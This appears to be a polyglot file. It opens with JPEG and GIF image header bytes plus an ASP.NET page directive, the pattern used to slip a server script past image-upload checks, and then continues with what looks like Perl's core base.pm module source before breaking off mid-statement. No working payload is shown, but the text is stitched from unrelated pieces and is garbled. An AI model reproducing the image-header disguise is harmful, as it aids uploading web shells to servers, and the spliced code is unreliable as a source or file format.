ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
use 5.008;
package base;
use strict 'vars';
our $VERSION = '2.27';
$VERSION =~ tr/_//d;
# simplest way to avoid indexing of the package: no package statement
sub base::__inc::unhook { @INC = grep !(ref eq 'CODE' && $_ == $_[0]), @INC }
# instance is blessed array of coderefs to be removed from @INC at scope exit
sub base::__inc::scope_guard::DESTROY { base::__inc::unhook $_ for @{$_[0]} }
# constant.pm is slow
sub SUCCESS () { 1 }
sub PUBLIC () { 2**0 }
sub PRIVATE () { 2**1 }
sub INHERITED () { 2**2 }
sub PROTECTED () { 2**3 }
my $Fattr = \%fields::attr;
sub has_fields {
my($base) = shift;
my $fglob = ${"$base\::"}{FIELDS};
return( ($fglob && 'GLOB' eq ref($fglob) && *$fglob{HASH}) ? 1 : 0 );
}
sub has_attr {
my($proto) = shift;
my($class) = ref $proto || $proto;
return exists $Fattr->{$class};
}
sub get_attr {
$Fattr->{$_[0]} = [1] unless $Fattr->{$_[0]};
return $Fattr->{$_[0]};
}
if ($] < 5.009) {
*get_fields = sub {
# Shut up a possible typo warning.
() = \%{$_[0].'::FIELDS'};
my $f = \%{$_[0].'::FIELDS'};
# should be centralized in fields? perhaps
# fields::mk_FIELDS_be_OK. Peh. As long as %{ $package . '::FIELDS' }
# is used here anyway, it doesn't matter.
bless $f, 'pseudohash' if (ref($f) ne 'pseudohash');
return $f;
}
}
else {
*get_fields = sub {
# Shut up a possible typo warning.
() = \%{$_[0].'::FIELDS'};
return \%{$_[0].'::FIELDS'};
}
}
if ($] < 5.008) {
*_module_to_filename = sub {
(my $fn = $_[0]) =~ s!::!/!g;
$fn .= '.pm';
return $fn;
}
}
else {
*_module_to_filename = sub {
(my $fn = $_[0]) =~ s!::!/!g;
$fn .= '.pm';
utf8::encode($fn);
return $fn;
}
}
sub import {
my $class = shift;
return SUCCESS unless @_;
# List of base classes from which we will inherit %FIELDS.
my $fields_base;
my $inheritor = caller(0);
my @bases;
foreach my $base (@_) {
if ( $inheritor eq $base ) {
warn "Class '$inheritor' tried to inherit from itself\n";
}
next if grep $_->isa($base), ($inheritor, @bases);
# Following blocks help isolate $SIG{__DIE__} and @INC changes
{
my $sigdie;
{
local $SIG{__DIE__};
my $fn = _module_to_filename($base);
my $dot_hidden;
eval {
my $guard;
if ($INC[-1] eq '.' && %{"$base\::"}) {
# So: the package already exists => this an optional load
# And: there is a dot at the end of @INC => we want to hide it
# However: we only want to hide it during our *own* require()
# (i.e. without affecting nested require()s).
# So we add a hook to @INC whose job is to hide the dot, but which
# first checks checks the callstack depth, because within nested
# require()s the callstack is deeper.
# Since CORE::GLOBAL::require makes it unknowable in advance what
# the exact relevant callstack depth will be, we have to record it
# inside a hook. So we put another hook just for that at the front
# of @INC, where it's guaranteed to run -- immediately.
# The dot-hiding hook does its job by sitting directly in front of
# the dot and removing itself from @INC when reached. This causes
# the dot to move up one index in @INC, causing the loop inside
# pp_require() to skip it.
# Loaded coded may disturb this precise arrangement, but that's OK
# because the hook is inert by that time. It is only active during
# the top-level require(), when @INC is in our control. The only
# possible gotcha is if other hooks already in @INC modify @INC in
# some way during that initial require().
# Note that this jiggery hookery works just fine recursively: if
# a module loaded via base.pm uses base.pm itself, there will be
# one pair of hooks in @INC per base::import call frame, but the
# pairs from different nestings do not interfere with each other.
my $lvl;
unshift @INC, sub { return if defined $lvl; 1 while defined caller ++$lvl; () };
splice @INC, -1, 0, sub { return if defined caller $lvl; ++$dot_hidden, &base::__inc::unhook; () };
$guard = bless [ @INC[0,-2] ], 'base::__inc::scope_guard';
}
require $fn
};
if ($dot_hidden && (my @fn = grep -e && !( -d _ || -b _ ), $fn.'c', $fn)) {
require Carp;
Carp::croak(<